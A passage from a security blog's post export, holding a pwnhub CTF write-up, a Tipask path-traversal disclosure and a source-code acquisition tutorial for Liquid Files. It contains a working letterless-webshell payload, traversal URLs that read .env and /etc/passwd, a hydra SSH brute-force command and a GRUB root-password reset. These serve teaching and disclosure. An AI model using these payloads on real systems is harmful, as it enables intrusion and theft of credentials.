\u0026amp;\u0026amp; md5($_GET[\u0026#39;x\u0026#39;]) === md5($_GET[\u0026#39;y\u0026#39;])) { if(!isset($_GET[\u0026#39;shell\u0026#39;])){ echo \u0026#34;Attack me!\u0026#34;; } else { $shell = $_GET[\u0026#39;shell\u0026#39;]; if(!preg_match(\u0026#34;/[a-zA-Z0-9_$@]+/\u0026#34;,$shell)){ eval($shell); } else { die(\u0026#39;No,No,No! Keep it up......\u0026#39;); } } } else { die(\u0026#34;No, way!\u0026#34;); } ?\u0026gt; The MD5 check:\nWithout relying on weak typing, make md5(x) and md5(y) equal while x and y differ — a classic, well-worn topic.\nSearching Bing for [md5 collision -\u0026quot;弱类型\u0026quot;] (i.e., excluding \u0026ldquo;weak typing\u0026rdquo;) turned up this page: MD5 Collision Demo\nA quick hex2bin and urlencode to fix up the format:\nhttp://121.40.89.206:8100/?\u0026amp;x=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap \u0026amp; y=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap The first condition is satisfied; on to the second bypass.\n2. Breakthrough: glob Expressions (1) Code execution? eval gives code execution, but the regex restricts the character set. In essence, it boils down to this:\nSee: https://regex101.com/r/oIJbxL/1\nAn alphanumeric-free webshell — a classic topic! But this scenario differs slightly, with two key points:\nBackticks are allowed $ is not allowed So although techniques like (negation / XOR / string concatenation / character increment) are still usable — e.g. ''.[] = 'Array' — any arbitrary string can be constructed.\nBut without $, how do you call a function? (Note the challenge runs PHP 5, so the ($function)() calling style is unavailable.)\nSo I dug into more references, and during my lunch break I found the article \u0026ldquo;SCU-CTF HomePage — Command Execution: Recommended Good Reads ¶\u0026rdquo; (y4 yyds), which is how I cracked this challenge.\n(2) Command execution! After reading phithon\u0026rsquo;s article \u0026ldquo;Advanced Webshells Without Letters or Numbers | leavesongs\u0026rdquo;, I identified the main difference from the article: @ is filtered here, so another approach is needed.\nTo follow along precisely, I set up a local test environment:\n# Simulate a /tmp/phpSessoo touch /tmp/phpSessoo Actually, checking the ASCII table, you can just swap @ for a nearby character (it only needs to come before A):\nI went with the question mark: ? — and the match succeeds:\nThe final payload:\nPOST /?shell=?\u0026gt;\u0026lt;?=`.+/???/???[?-[]?????`;?\u0026gt;\u0026amp;x=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap\u0026amp;y=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap HTTP/1.1 Host: 121.40.89.206:8100 Content-Length: 189 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeU7iiC6HdkUDXKn1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryeU7iiC6HdkUDXKn1 Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;1.txt\u0026#34; #!/bin/sh ls / \u0026amp;\u0026amp; cat /flag \u0026amp;\u0026amp; id ------WebKitFormBoundaryeU7iiC6HdkUDXKn1-- bingo\nReferences Advanced Webshells Without Letters or Numbers | leavesongs https://man7.org/linux/man-pages/man7/glob.7.html SCU-CTF HomePage — Command Execution: Recommended Good Reads ¶ https://regex101.com/r/oIJbxL/1/ https://tool.ip138.com/ascii_code/ ","permalink":"https://www.unc.la/en/posts/penetration/dfc5eu/","summary":"\u003cp\u003eMy first submission to pwnhub — I hope to join this excellent community of ours!\u003c/p\u003e\n\u003ch1 id=\"1-prologue-a-true-md5-collision\"\u003e1. Prologue: A True MD5 Collision\u003c/h1\u003e\n\u003cp\u003eThe challenge:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eerror_reporting\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ehighlight_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"no\"\u003e__FILE__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;x\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;y\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003emd5\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;x\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003emd5\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;y\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;shell\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Attack me!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$shell\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;shell\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;/[a-zA-Z0-9_$@]+/\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$shell\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eeval\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$shell\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003edie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;No,No,No! Keep it up......\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;No, way!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe MD5 check:\u003c/p\u003e\n\u003cp\u003eWithout relying on weak typing, make md5(x) and md5(y) equal while x and y differ — a classic, well-worn topic.\u003c/p\u003e","title":"pwnhub: [Mid-Autumn Festival] BabyExec writeup"},{"content":"http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf attachments-2021-09-4oFjTAjm6142e9d617e23.pdf E:\\Desktop\\CodeAudit\\v3.5.5\\storage\\app\\ attachments\\2021\\09 E:\\Desktop\\CodeAudit\\v3.5.5\\storage\\logs\\laravel.log # E:\\Desktop\\CodeAudit\\v3.5.5\\storage\\app\\..-logs-laravel.log E:\\Desktop\\CodeAudit\\v3.5.5\\.env E:\\Desktop\\CodeAudit\\v3.5.5\\storage\\app\\..-..-.env The latest version of Tipask contains an \u0026ldquo;arbitrary local file download\u0026rdquo; vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected.\nIntroduction: (1) In the latest version of Tipask\u0026lt;=3.5.9, the attachment download feature fails to restrict the path parameter supplied by the user\n(2) Exploiting the vulnerability requires an authenticated user identity; an attacker who successfully exploits it can download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc.\nAffected Scope: Tipask \u0026lt;=3.5.9 is entirely affected, i.e., all versions of Tipask\nFofa dork: https://fofa.so/result?qbase64=YXBwPSJUaXBhc2st5YWs5Y%2B45Lqn5ZOBIg%3D%3D\nThere are 700+ Tipask deployments\n[\n](https://learnblockchain.cn/)\nReproduction Steps: After registering and logging in, simply visit the following URLs:\nhttps://tipask/attach/download/..-..-.env http://tipask/attach/download/..-logs-laravel.log http://tipask/attach/download/..-..-..-..-..-..-..-etc-passwd Remediation The vulnerability involves two files:\n(1) app\\Http\\Controllers\\AttachController.php\n(2) The \u0026lt;font style=\u0026quot;color:rgb(23, 43, 77);\u0026quot;\u0026gt;image/show\u0026lt;/font\u0026gt; endpoint is also affected by this issue and should be fixed as well: app\\Http\\Controllers\\ImageController.php\nRestrict the directory being read, e.g., use \u0026lt;font style=\u0026quot;color:rgb(23, 43, 77);\u0026quot;\u0026gt;basename()\u0026lt;/font\u0026gt; to process user-supplied input parameters Forbid user input parameters from containing \u0026lt;font style=\u0026quot;color:rgb(23, 43, 77);\u0026quot;\u0026gt;..\u0026lt;/font\u0026gt; The vendor has already released an upgrade patch to fix this security issue; the patch is available at: https://github.com/sdfsky/tipask/commit/9b5f13d1708e9a5dc0959cb8a97be1c32b94ca69\n","permalink":"https://www.unc.la/en/posts/penetration/bunw7e/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e://\u003c/span\u003e\u003cspan class=\"nx\"\u003etipask\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nx\"\u003eattach\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nx\"\u003edownload\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nx\"\u003eattachments\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2021\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e09\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"nx\"\u003eoFjTAjm6142e9d617e23\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epdf\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                        \u003cspan class=\"nx\"\u003eattachments\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2021\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e09\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"nx\"\u003eoFjTAjm6142e9d617e23\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epdf\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eE\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\Desktop\\CodeAudit\\v3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e5.5\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\storage\\app\\\u003c/span\u003e \u003cspan class=\"nx\"\u003eattachments\\2021\\09\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eE\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\Desktop\\CodeAudit\\v3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e5.5\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\storage\\logs\\laravel\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eE\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\Desktop\\CodeAudit\\v3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e5.5\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\storage\\app\\\u003c/span\u003e\u003cspan class=\"o\"\u003e..-\u003c/span\u003e\u003cspan class=\"nx\"\u003elogs\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nx\"\u003elaravel\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eE\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\Desktop\\CodeAudit\\v3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e5.5\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eE\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\Desktop\\CodeAudit\\v3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e5.5\u003c/span\u003e\u003cspan class=\"nx\"\u003e\\storage\\app\\\u003c/span\u003e\u003cspan class=\"o\"\u003e..-..-.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe latest version of Tipask contains an \u0026ldquo;arbitrary local file download\u0026rdquo; vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as \u003ccode\u003e.env\u003c/code\u003e, \u003ccode\u003e/etc/passwd\u003c/code\u003e, \u003ccode\u003elaravel.log\u003c/code\u003e, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected.\u003c/p\u003e","title":"[Responsible Disclosure] Tipask Contains an Authenticated Arbitrary Local File Download Vulnerability"},{"content":"Using a recent case, let\u0026rsquo;s talk about some techniques for obtaining source code in real engagements.\n(This is also material from a closed-door sharing session a while back: hope you guys enjoy it~\nLiquid Files Liquid Files is a foreign file-sharing (cloud disk) system; official site: https://www.liquidfiles.com/\nIt\u0026rsquo;s a commercial system, widely used abroad.\nToday we\u0026rsquo;ll try to obtain the source code of this system and conduct a preliminary attack-surface assessment (an initial code audit).\n0x00 The Usual Approaches As I mentioned in my article \u0026ldquo;A Practical Java Servlet Audit - Xianzhi Community\u0026rdquo;, obtaining a system\u0026rsquo;s source code can mainly be considered from a few angles:\nDirectory scanning on similar sites. Search Fofa for similar systems Export the asset list Directory scanning. In practice, scan with dirbuster\u0026rsquo;s wordlist directory-list-2.3-medium.txt, using whatever tool you\u0026rsquo;re comfortable with — dirseach (ps: its wordlist dicc.txt is also good) Conclusion: since this thing ships as an image with uniform deployment, of course there are no backup files\u0026hellip; Nothing found.\nCloud drive leaks. This system is not open source. Domestic vendors usually upload copies to cloud drives for convenience when releasing; a quick search tells you whether there\u0026rsquo;s anything. Conclusion: the vendor has its own official site, no need to upload to a cloud drive — too much hassle. Nothing found.\nGithub, gitlab leaks. I searched — take a look, does this look like source code to you? Conclusion: nothing\u0026hellip;\nNo point beating around the bush: anyone who has visited the official site knows — this company is very straightforward and directly offers a trial\u0026hellip;\u0026hellip;\nAnd that\u0026rsquo;s exactly the technique this article mainly wants to introduce: use the vendor\u0026rsquo;s installation image to obtain the source code.\n0x01 The Trial So we register for the trial, log in, and get to the download page\u0026hellip;\nNice and easy. Download whichever you like, install it and get it running\nFill in the License Key\nFill in the installation info, deploy it on the internal network, and go!\nAfter playing around in the system for a while, I found a feature under System called Console — great joy — clicked in and saw: damn, the trial License cannot use Console\nClearly, the vendor doesn\u0026rsquo;t want trial users to get root privileges\u0026hellip; At this point, obtaining the source code seemed to have hit a dead end.\n0x02 A Ray of Hope However — let\u0026rsquo;s sort out the information at hand:\nOnly ports 80, 443, and 222 are open — not even the ssh port\u0026hellip;.. 80/tcp open http 222/tcp open rsh-spx 443/tcp open https Wait, if ssh is not exposed by default, then once the system has a problem — you can\u0026rsquo;t even connect — wouldn\u0026rsquo;t it just rot in there? That doesn\u0026rsquo;t seem right. So it felt unlikely that ssh was disabled Looking closely — oh, so this 222 is actually the ssh port PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 7.4 (protocol 2.0) MAC Address: 00:0C:29:4C:C9:82 (VMware) OK, now we know ssh is open, but what about the root password? Went through the docs, didn\u0026rsquo;t find it\u0026hellip; So brute force! top10k, rockyou.txt — blast away! hydra -t 4 -l root -P rockyou-15.txt -s 222 ssh://10.10.111.6 All errors? Not letting me brute force?\nIf brute forcing isn\u0026rsquo;t allowed, what then? This image is installed on my machine, so it\u0026rsquo;s mine — and I still get shut out just for trying to brute force it?\nSuddenly it hit me — this system is installed in a VM — which is equivalent to having physical access to it — and thinking further, doesn\u0026rsquo;t Windows let you recover your password by entering safe mode at boot — Linux probably has a similar mode too? And so we have this third section.\n0x03 Single-User Mode The following content is referenced from http://c.biancheng.net/view/1041.html\nMany beginners, when facing the problem of \u0026ldquo;unable to log into the system because the root account password was forgotten\u0026rdquo;, simply choose to reinstall the system. There\u0026rsquo;s really no need — you just have to enter emergency mode (single-user mode) and update the root account password. Linux\u0026rsquo;s single-user mode is somewhat similar to Windows\u0026rsquo; safe mode, starting only the minimal set of programs for system repair. In single-user mode (runlevel 1), Linux boots into a root shell, networking is disabled, and only a few processes run. How to Enter Single-User Mode\nNow, let\u0026rsquo;s assume the system has a problem and you can no longer log in normally. So, how do you enter single-user mode? First, restart the server, press any key at the GRUB countdown screen to enter the GRUB menu interface, as shown in the figure\nPress \u0026ldquo;e\u0026rdquo; on the Linux menu entry you want to boot into single-user mode, and you\u0026rsquo;ll enter the GRUB editing interface, as shown below:\nFind the linux /boot/vmlinuz-* line — word on the street is there are two common approaches:\n[My usual approach] Append init=/bin/bash at the end, then press ctrl+x or F10 to continue GRUB booting; the user afterwards is the root user, and you can freely change the root user\u0026rsquo;s account password from there (Never tried) Replace ro recovery nomodestset and everything after it with rw single init=/bin/bash, then press ctrl+x or F10 to enter single-user mode In short, although single-user mode has no network, you can still change the user\u0026rsquo;s password~\nAfter changing the password, reboot and log in via ssh\nThrough the web\u0026rsquo;s static files, pin down the source code path: /app\nZip it up, start SimpleHTTPServer on port 8080, and get ready to download the source code\nHuh, why can\u0026rsquo;t I access it???\nA quick check shows there\u0026rsquo;s a ufw firewall — of course it has to be turned off — but I was gentle here and added an allow rule instead\nDownload it, done!\nAt this point, the source code is in hand, and it\u0026rsquo;s unobfuscated — black box becomes white box. Sweet.\n0x04 A Weak Backend Command Execution (Low Privilege) I found a feature called Actionscripts — the general idea is that you can define custom functions here that get automatically executed in certain specific workflows.\nUploaded a reverse-shell script in passing; as you can see in the figure above, the system automatically recognizes the script type\nChecking on the machine, the script gets saved in the directory /data/domains/default/actionscripts, with its name unchanged.\nNext, of course, we trace through the source code.\nGlobal search for the keyword actionscripts pinpoints this file: app\\current\\app\\helpers\\admin\\actionscripts_helper.rb\nHere\u0026rsquo;s a knowledge point to add:\nIn Ruby, the notation %x{COMMAND} means using ``` to execute a shell script and return its standard output.\nWhoa! It executes commands, and the executed content depends on the user-supplied filename — there\u0026rsquo;s something here.\nFollowing into the class\u0026rsquo;s code, look at the initialize constructor and the path implementation:\ninitialize is just simple assignment, nothing there path uses shellescape to escape the argument, so that\u0026rsquo;s that\u0026hellip; However, reading on you\u0026rsquo;ll see that command injection being impossible isn\u0026rsquo;t due to this reason alone.\nBack to the dangerous function actionscripts_type_column we just saw — where is it called?\n— In an erb template, i.e., the View layer of the MVC framework; the code is shown below\n(Enjoy the Rails template rendering while you\u0026rsquo;re at it)\nAbove we said the order in which a user request flows through the framework is actually Controller, Model, View\nHaving found a risk point in the View layer, we should of course trace the Controller before it, namely app\\v3.5.12\\app\\controllers\\admin\\actionscripts_controller.rb\nThe function list is as follows\nAmong them, the first two lines of the controller are before_action, similar to Filters in Java 